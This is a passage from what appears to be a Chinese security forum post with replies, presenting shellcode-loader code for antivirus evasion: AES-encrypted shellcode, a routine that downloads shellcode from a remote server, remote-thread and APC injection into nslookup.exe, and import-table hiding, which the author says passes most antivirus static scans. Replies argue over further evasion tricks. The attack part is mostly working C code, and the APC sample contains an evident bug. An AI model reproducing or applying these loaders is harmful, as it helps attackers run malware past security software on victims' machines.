                      0x39, 0xf2, 0x33, 0x69, 0xa9, 0xd9, 0xba, 0xcf, 0xa5, 0x30, 0xe2, 0x63, 0x04, 0x23, 0x14, 0x61,
                      0xb2, 0xeb, 0x05, 0xe2, 0xc3, 0x9b, 0xe9, 0xfc, 0xda, 0x6c, 0x19, 0x07, 0x8c, 0x6a, 0x9d, 0x1b };*/
    uint8_t iv[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f };
 
    struct AES_ctx ctx;
    AES_init_ctx_iv(&ctx, key, iv);
    AES_CBC_encrypt_buffer(&ctx, shellcode,sizeof(shellcode));
    for (size_t i = 0; i < sizeof(shellcode)-1 ; i++)
    {
        printf("\\x%02x", shellcode[i]);
    }
    printf("\r\n%d", sizeof(shellcode));
    /*printf("Encrypted buffer:\n");
 
    for (int i = 0; i < shellcodeSize - 1; i++) {
        printf("\\x%02x", shellcode[i]);       
    }
    printf("\r\n%d", shellcodeSize);*/
    return 0;
}

AES解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
BOOL Decrypt(){
    unsigned char shellcode[]="";
 
    SIZE_T shellcodeSize = sizeof(shellcode);
 
    /*uint8_t in[] = { 0x6b, 0xc1, 0xbe, 0xe2, 0x2e, 0x40, 0x9f, 0x96, 0xe9, 0x3d, 0x7e, 0x11, 0x73, 0x93, 0x17, 0x2a,
                         0xae, 0x2d, 0x8a, 0x57, 0x1e, 0x03, 0xac, 0x9c, 0x9e, 0xb7, 0x6f, 0xac, 0x45, 0xaf, 0x8e, 0x51,
                         0x30, 0xc8, 0x1c, 0x46, 0xa3, 0x5c, 0xe4, 0x11, 0xe5, 0xfb, 0xc1, 0x19, 0x1a, 0x0a, 0x52, 0xef,
                         0xf6, 0x9f, 0x24, 0x45, 0xdf, 0x4f, 0x9b, 0x17, 0xad, 0x2b, 0x41, 0x7b, 0xe6, 0x6c, 0x37, 0x10 };*/
    uint8_t key[] = { 0x60, 0x3d, 0xeb, 0x10, 0x15, 0xca, 0x71, 0xbe, 0x2b, 0x73, 0xae, 0xf0, 0x85, 0x7d, 0x77, 0x81,
                      0x1f, 0x35, 0x2c, 0x07, 0x3b, 0x61, 0x08, 0xd7, 0x2d, 0x98, 0x10, 0xa3, 0x09, 0x14, 0xdf, 0xf4 };
    /*uint8_t out[] = { 0xf5, 0x8c, 0x4c, 0x04, 0xd6, 0xe5, 0xf1, 0xba, 0x77, 0x9e, 0xab, 0xfb, 0x5f, 0x7b, 0xfb, 0xd6,
                      0x9c, 0xfc, 0x4e, 0x96, 0x7e, 0xdb, 0x80, 0x8d, 0x67, 0x9f, 0x77, 0x7b, 0xc6, 0x70, 0x2c, 0x7d,
                      0x39, 0xf2, 0x33, 0x69, 0xa9, 0xd9, 0xba, 0xcf, 0xa5, 0x30, 0xe2, 0x63, 0x04, 0x23, 0x14, 0x61,
                      0xb2, 0xeb, 0x05, 0xe2, 0xc3, 0x9b, 0xe9, 0xfc, 0xda, 0x6c, 0x19, 0x07, 0x8c, 0x6a, 0x9d, 0x1b };*/
    uint8_t iv[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f };
    struct AES_ctx ctx;
 
    AES_init_ctx_iv(&ctx, key, iv);
    AES_CBC_decrypt_buffer(&ctx, shellcode, sizeof(shellcode));
    ........
        return true;
}

分离

​ 顾名思义,将加载器和shellcode分开,执行加载器的时候再讲shellcode加载进内存,一般是将shellcode放到远程服务器上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
int Download(LPSTR url,string &RawData)
{
    HINTERNET hSession;
    hSession = InternetOpen(UA, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    DWORD dwInfoBufferLength = 8;
    BYTE *pInfoBuffer = NULL;
    try
    {
        if (hSession != NULL)
        {
            HINTERNET hRequest;
            hRequest = InternetOpenUrlA(hSession, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
            if (!::HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, (LPVOID)&dwBytesStreamFile, &dwInfoBufferLength, NULL))
            {
                return 0;
            }
            else {
                pInfoBuffer = new unsigned char[dwBytesStreamFile];
            }
            try
            {
                int i = 0;
                char szBuffer[BUF_SIZE] = { 0 };
                DWORD dwBytesRead = BUF_SIZE;
                int nTotalBytesOfRead = 0;
                do{
                    BOOL bRet = InternetReadFile(hRequest, szBuffer, BUF_SIZE, &dwBytesRead);
                    if (bRet && dwBytesRead)
                    {
                        memcpy_s(pInfoBuffer + nTotalBytesOfRead, dwBytesRead, szBuffer, dwBytesRead);
                        nTotalBytesOfRead += dwBytesRead;
                    }
                } while (dwBytesRead > 0);
                InternetCloseHandle(hSession);
            }
            catch (const std::exception&)
            {
                return NULL;
            }
        }
    }
    catch (const std::exception&) {
        return NULL;
    }
    RawData.append((char *)pInfoBuffer, dwBytesStreamFile);
    if (pInfoBuffer)
    {
        delete[] pInfoBuffer;
    }
    return dwBytesStreamFile;
}

注入

用到的分析工具

 

进程监测工具:Overview - Process Hacker (sourceforge.io)

远线程注入

关于CreateRemoteThread远线程注入,实际上有三个主要步骤需要实现:

  1. VirtualAllocEx() – 在外部进程的虚拟地址空间内分配内存。
  2. WriteProcessMemory( – 将shellcode写入分配的内存。
  3. CreateRemoteThread() – 让外部进程在另一个线程中执行shellcode。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <iostream>
#include <Windows.h>
#define EXE_PATH "C:\\Windows\\System32\\nslookup.exe"
int main(int argc,char argv[])
{
    unsigned char shellcode[] ="";
    //创建进程:
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    LPVOID AllocAddress;
    SIZE_T SizeOfShellCode = sizeof(shellcode);
    HANDLE hProcess, hThread;
    ZeroMemory(&si, sizeof(si));
    ZeroMemory(&pi, sizeof(pi));
    si.cb = sizeof(si);
 
    if (!CreateProcess(
        EXE_PATH,                       
        NULL,                           
        NULL,                           
        NULL,                           
        FALSE,                           
        CREATE_NO_WINDOW,              
        NULL,                           
        NULL,                           
        &si,                           
        &pi                               
    )) {
        DWORD ErrorCode = GetLastError();
        std::cout << "FAILED:" << ErrorCode << std::endl;
    }
    WaitForSingleObject(pi.hProcess, 3000); //3s
    //申请内存
    AllocAddress = VirtualAllocEx(pi.hProcess, NULL, SizeOfShellCode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    //写入
    WriteProcessMemory(pi.hProcess, AllocAddress, shellcode, SizeOfShellCode, NULL);
    //创建线程
    CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)AllocAddress, NULL, 0, 0);
    system("pause");
    return 0;
}

监控内存

​ 用Visual Stdio在 VirtuallAllocEx处下断点,找到申请内存的基地址:

 

image-20220112095251060

 

用Process Hacker找调试进程,并找到此地址,可以看到此处是RWX可读可写可执行的内存块,且数据都为0:

 

image-20220112095514853

 

然后F10往下走一步,写入数据:

 

image-20220112095907563

 

点击Re-read,数据已经写入:

 

image-20220112100004764

 

再往下走,便会创建线程弹出notepad.exe

APC注入

主要API:QueueUserAPC function (processthreadsapi.h) - Win32 apps | Microsoft Docs ,将用户模式异步过程调用(APC) 对象添加到指定线程的 APC 队列中。它主要的优势在于可以绕过Sysmon。

 

QueueUserAPC 是一个异步过程调用

 

异步:是指程序发起了调用或者请求,无需等待返回结果,程序可以接着执行,等调用或者请求结束之后再通知程序拿到结果,不影响程序的执行。

 

给出实例:

  • CreateProcess() 创建一个要注入的进程
  • VIrtualAllocEx() 在上一步创建的进程中,开辟一段虚拟的内存空间
  • WriteProcessMemory() 将shellcode写入
  • QueueUserAPC 注入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <iostream>
#include <Windows.h>
#define EXE_PATH "C:\\Windows\\System32\\nslookup.exe"
int main()
{
    unsigned char shellcode[] ="";
    // 创建进程 x64
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    LPVOID AllocAddress;
    SIZE_T shellcode_size = sizeof(shellcode);
    HANDLE hProcess, hThread;
    NTSTATUS status;
    ZeroMemory(&si, sizeof(si));
    ZeroMemory(&pi, sizeof(pi));
    si.cb = sizeof(si);
    if (!CreateProcessW(
        EXE_PATH,
        NULL,                           
        NULL,                           
        NULL,                           
        FALSE,                           
        CREATE_SUSPENDED |             
        CREATE_NO_WINDOW,             
        NULL,                           
        NULL,                           
        &si,                           
        &pi                               
    )) {
        DWORD ErrCode = GetLastError();
        std::cout << "FAILED:" << ErrCode << std::endl;
    }
    WaitForSingleObject(pi.hProcess, 3000);
    hProcess = pi.hProcess;
    hThread = pi.hThread;
 
    // 申请内存空间
    AllocAddress = VirtualAllocEx(hProcess, NULL, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    //写入
    WriteProcessMemory(hProcess, AllocAddress, shellcode, shellcode_size, NULL);
    // 注入
    PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellcode_size;
    QueueUserAPC((PAPCFUNC)apcRoutine, hThread, NULL);
    // 唤醒
    ResumeThread(hThread);
    return 0;
}

隐藏导入表函数

​ 在PE结构中,存在一个导入表,导入表中声明了这个PE文件会载入哪些模块,同时每个模块的结构中又会指向模块中的一些函数名称,直接调用API会很容易被PE解析器发现我们的意图,尝试使用隐函数的方式隐藏导入表中的信息。

 

GetProcAddress | Microsoft Docs 这个API在Kernel32.dll中被导出,主要功能是从一个加载的模块中获取函数的地址。

 

一个最简单的shellcode加载器,可以是这样的:

 

image-20220118100942730

 

用LoadPE查看导入表:

 

image-20220118101205044

 

现在通过函数指针的方式做一些优化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
typedef LPVOID(WINAPI* MyVirtualAlloc)(
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD flAllocationType,
    DWORD flProtect
    );
 
typedef BOOL(WINAPI*
    MyVirtualProtect)(
        LPVOID lpAddress,
        SIZE_T dwSize,
        DWORD flNewProtect,
        PDWORD lpflOldProtect
        );
typedef HANDLE(WINAPI*
    MyCreateThread)
(
    LPSECURITY_ATTRIBUTES lpThreadAttributes,
    SIZE_T dwStackSize,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    DWORD dwCreationFlags,
     LPDWORD lpThreadId
);
typedef DWORD(WINAPI*
    MyWaitForSingleObject)
(
    HANDLE hHandle,
    DWORD dwMilliseconds
);
 
int main() {
    MyVirtualAlloc defVirtualAlloc = (MyVirtualAlloc)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");
    MyVirtualProtect defVirtualProtect = (MyVirtualProtect)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualProtect");
    MyCreateThread defCreateThread = (MyCreateThread)GetProcAddress(GetModuleHandle("kernel32.dll"), "CreateThread");
    MyWaitForSingleObject defWaitforSingleObject = (MyWaitForSingleObject)GetProcAddress(GetModuleHandle("kernel32.dll"), "WaitForSingleObject");
    .......
    }

重新生成,再次打开:

 

image-20220118101426410

最后

综合一下这几个小项目,得到一个能过大部分杀软静态扫描的项目:

 

image-20220118101640707

 

参考链接:

 

https://github.com/kokke/tiny-AES-c

 

http://payloads.online/

 

https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/


【公告】 讲师招募 | 全新“预付费”模式,不想来试试吗?

最后于 2022-1-18 10:58 被soloz编辑 ,原因:
收藏
点赞10
打赏
分享
最新回复 (29)
雪    币: 9624
活跃值: 活跃值 (2000)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
tDasm 活跃值 2022-1-18 16:59
2
0
不知道你的目的到底干什么?如果要静态免杀,那就不应该任何加密,正常的C语言程序杀软是不会认为是病毒的。
再说api行为监控,不是你隐藏导入表就可以解决的,杀软不是扫描引入表而是hook api进行监控,你不调用杀软是不会提示的.
雪    币: 697
活跃值: 活跃值 (1330)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
库尔 活跃值 2022-1-18 17:04
3
0
tDasm 不知道你的目的到底干什么?如果要静态免杀,那就不应该任何加密,正常的C语言程序杀软是不会认为是病毒的。 再说api行为监控,不是你隐藏导入表就可以解决的,杀软不是扫描引入表而是hook api进行监 ...
楼主发的是静态免杀,hook api方式是动态查杀。
雪    币: 9624
活跃值: 活跃值 (2000)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
tDasm 活跃值 2022-1-18 17:26
4
0
库尔 楼主发的是静态免杀,hook api方式是动态查杀。
说了静态杀软是不会扫描导入表?!
雪    币: 33
活跃值: 活跃值 (849)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
EX呵呵 活跃值 2022-1-18 23:01
5
0
tDasm 不知道你的目的到底干什么?如果要静态免杀,那就不应该任何加密,正常的C语言程序杀软是不会认为是病毒的。 再说api行为监控,不是你隐藏导入表就可以解决的,杀软不是扫描引入表而是hook api进行监 ...
隐藏导入表貌似还更容易被杀
雪    币: 609
活跃值: 活跃值 (1197)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
soloz 活跃值 2022-1-19 09:10
6
0
tDasm 不知道你的目的到底干什么?如果要静态免杀,那就不应该任何加密,正常的C语言程序杀软是不会认为是病毒的。 再说api行为监控,不是你隐藏导入表就可以解决的,杀软不是扫描引入表而是hook api进行监 ...

用CS或者MSF生成的shellcode,不做加密是肯定会被落地杀的,说了是静态免杀,,行为监控属于动态了,隐藏导入表函数也只是过某些杀软静态的扫描的一种方式罢了。

最后于 2022-1-19 09:13 被soloz编辑 ,原因:
雪    币: 9624
活跃值: 活跃值 (2000)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
tDasm 活跃值 2022-1-19 09:30
7
0
soloz tDasm 不知道你的目的到底干什么?如果要静态免杀,那就不应该任何加密,正常的C语言程序杀软是不会认为是病毒的。 再说api行为监控,不是你隐 ...
你见过哪个杀软扫描导入表?那应该是最愚蠢的杀软。
雪    币: 609
活跃值: 活跃值 (1197)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
soloz 活跃值 2022-1-19 09:40
8
0
tDasm 你见过哪个杀软扫描导入表?那应该是最愚蠢的杀软。
解析PE后所有的信息都可以成为杀软判断文件是否可疑的依据,当然这只是我的看法,你觉得你对那你就是对的。
雪    币: 1761
活跃值: 活跃值 (1226)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dearfuture 活跃值 2022-1-19 09:58
9
0

最后于 2022-1-19 10:06 被dearfuture编辑 ,原因:
雪    币: 1761
活跃值: 活跃值 (1226)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dearfuture 活跃值 2022-1-19 09:59
10
0
tDasm 你见过哪个杀软扫描导入表?那应该是最愚蠢的杀软。
LZ最后不是都把效果贴出来了吗?大部分(65/68)杀软就是那么“愚蠢”
雪    币: 9624
活跃值: 活跃值 (2000)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
tDasm 活跃值 2022-1-19 11:36
11
0
dearfuture LZ最后不是都把效果贴出来了吗?大部分(65/68)杀软就是那么“愚蠢”
列出名字,而不是用大部分。
应该没有一个!
雪    币: 33
活跃值: 活跃值 (849)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
EX呵呵 活跃值 2022-1-19 13:37
12
0
tDasm 你见过哪个杀软扫描导入表?那应该是最愚蠢的杀软。
imphash就是导入表hash啊,imphash用的厂商也不少,只不过直接清空导入表好像更容易被杀
雪    币: 609
活跃值: 活跃值 (1197)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
soloz 活跃值 2022-1-19 13:45
13
0
EX呵呵 imphash就是导入表hash啊,imphash用的厂商也不少,只不过直接清空导入表好像更容易被杀
没说清空啊,如果一个文件的导入函数又有Virtual Alloc、CreateThread等敏感函数,且VirtualAlloc的最后一个参数是0x40(可读可写执行),那么此文件是高危文件。做得只是尝试抹去这部分api,更容易被杀的原因在哪呢?
雪    币: 202
活跃值: 活跃值 (1108)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
杰克王 活跃值 2022-1-22 18:13
14
0
好像看了什么,又好像没看什么,shellcode随机混淆,解决一切疑难杂症。
雪    币: 27
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
流年# 活跃值 2022-1-23 21:08
15
0
杰克王 好像看了什么,又好像没看什么,shellcode随机混淆,解决一切疑难杂症。
shellcode混肴是必要的,不然静态根本过不去
雪    币: 1015
活跃值: 活跃值 (70)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
悲剧的小开发 活跃值 2022-1-24 17:40
16
0
能告知下这个静态扫描的平台/工具吗
雪    币: 0
活跃值: 活跃值 (374)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
网络游侠 活跃值 2022-1-25 09:08
17
0
tDasm 不知道你的目的到底干什么?如果要静态免杀,那就不应该任何加密,正常的C语言程序杀软是不会认为是病毒的。 再说api行为监控,不是你隐藏导入表就可以解决的,杀软不是扫描引入表而是hook api进行监 ...
你完全不懂什么是免杀,好好看这个代码了,这个思路没问题。
雪    币: 609
活跃值: 活跃值 (1197)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
soloz 活跃值 2022-1-25 09:16
18
0
悲剧的小开发 能告知下这个静态扫描的平台/工具吗
https://www.virustotal.com/gui/
雪    币: 9624
活跃值: 活跃值 (2000)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
tDasm 活跃值 2022-1-25 11:04
19
0
网络游侠 你完全不懂什么是免杀,好好看这个代码了,这个思路没问题。

这个思路明显有问题,用固定加密那么代码加密后不变,很容易提取特征码被查杀。前面有人用随机混淆才是正道。

直接用C代码写(不要内嵌汇编)不可能被查杀(个别愚蠢杀软除外,我见过个别杀软把所有delphi编写的正常程序都提示为病毒)

最后于 2022-1-25 11:35 被tDasm编辑 ,原因:
雪    币: 609
活跃值: 活跃值 (1197)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
soloz 活跃值 2022-1-25 11:49
20
0
tDasm 网络游侠 你完全不懂什么是免杀,好好看这个代码了,这个思路没问题。 这个思路明显有问题,用固定加密那么代码加密后不变,很容易提取特征码被查杀。前 ...
一会是不用任何加密,一会儿又是随机加密, 你自己生成项目的时候不会自定义秘钥和偏移? 再说了这么多种加密方式包括自定义的你爱用啥用啥,只是一种思路罢了,你在杠啥啊
雪    币: 9624
活跃值: 活跃值 (2000)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
tDasm 活跃值 2022-1-25 14:41
21
0
soloz 一会是不用任何加密,一会儿又是随机加密, 你自己生成项目的时候不会自定义秘钥和偏移? 再说了这么多种加密方式包括自定义的你爱用啥用啥,只是一种思路罢了,你在杠啥啊

你这是什么思路?n年前就有了还翻出来?没有任何新意。根本就不需要代码加密,随机混淆完事。
本来不想多说,既然你这么杠,那就杠你又怎么的?

最后于 2022-1-25 14:42 被tDasm编辑 ,原因:
雪    币: 2686
活跃值: 活跃值 (1458)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
欧阳休 活跃值 2022-1-25 15:41
22
0
我记得检测虚拟机的行为就会被部分安全分析工具给标红列出来。
雪    币: 0
活跃值: 活跃值 (374)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
网络游侠 活跃值 2022-1-26 08:58
23
0
tDasm 网络游侠 你完全不懂什么是免杀,好好看这个代码了,这个思路没问题。 这个思路明显有问题,用固定加密那么代码加密后不变,很容易提取特征码被查杀。前 ...
你随机密钥加密buffer也很搓,你的思维能不能放大点,太局限了,直接下发代码分段解密调用,基本秒过各家全家桶
雪    币: 9624
活跃值: 活跃值 (2000)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
tDasm 活跃值 2022-1-26 09:28
24
0
网络游侠 你随机密钥加密buffer也很搓,你的思维能不能放大点,太局限了,直接下发代码分段解密调用,基本秒过各家全家桶
信口开河?你从哪里看见我“随机密钥加密buffer”?你连别人的随机代码混淆都不懂还好意思出来叫嚣?
任何时候代码加密来对付静态扫描都不是一个好主意。它只能应付文件扫描而忘记了静态内存扫描。因为运行时加密代码就全部解密了那么代码的特征码就被内存扫描发现了。
雪    币: 0
活跃值: 活跃值 (374)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
网络游侠 活跃值 2022-1-26 10:00
25
0

你还在活在启发的时代,当我没说过吧!!好吧!!!


别的不说,我直接能无提示K掉数字全家桶!

最后于 2022-1-26 10:21 被网络游侠编辑 ,原因:
游客
登录 | 注册 方可回帖
返回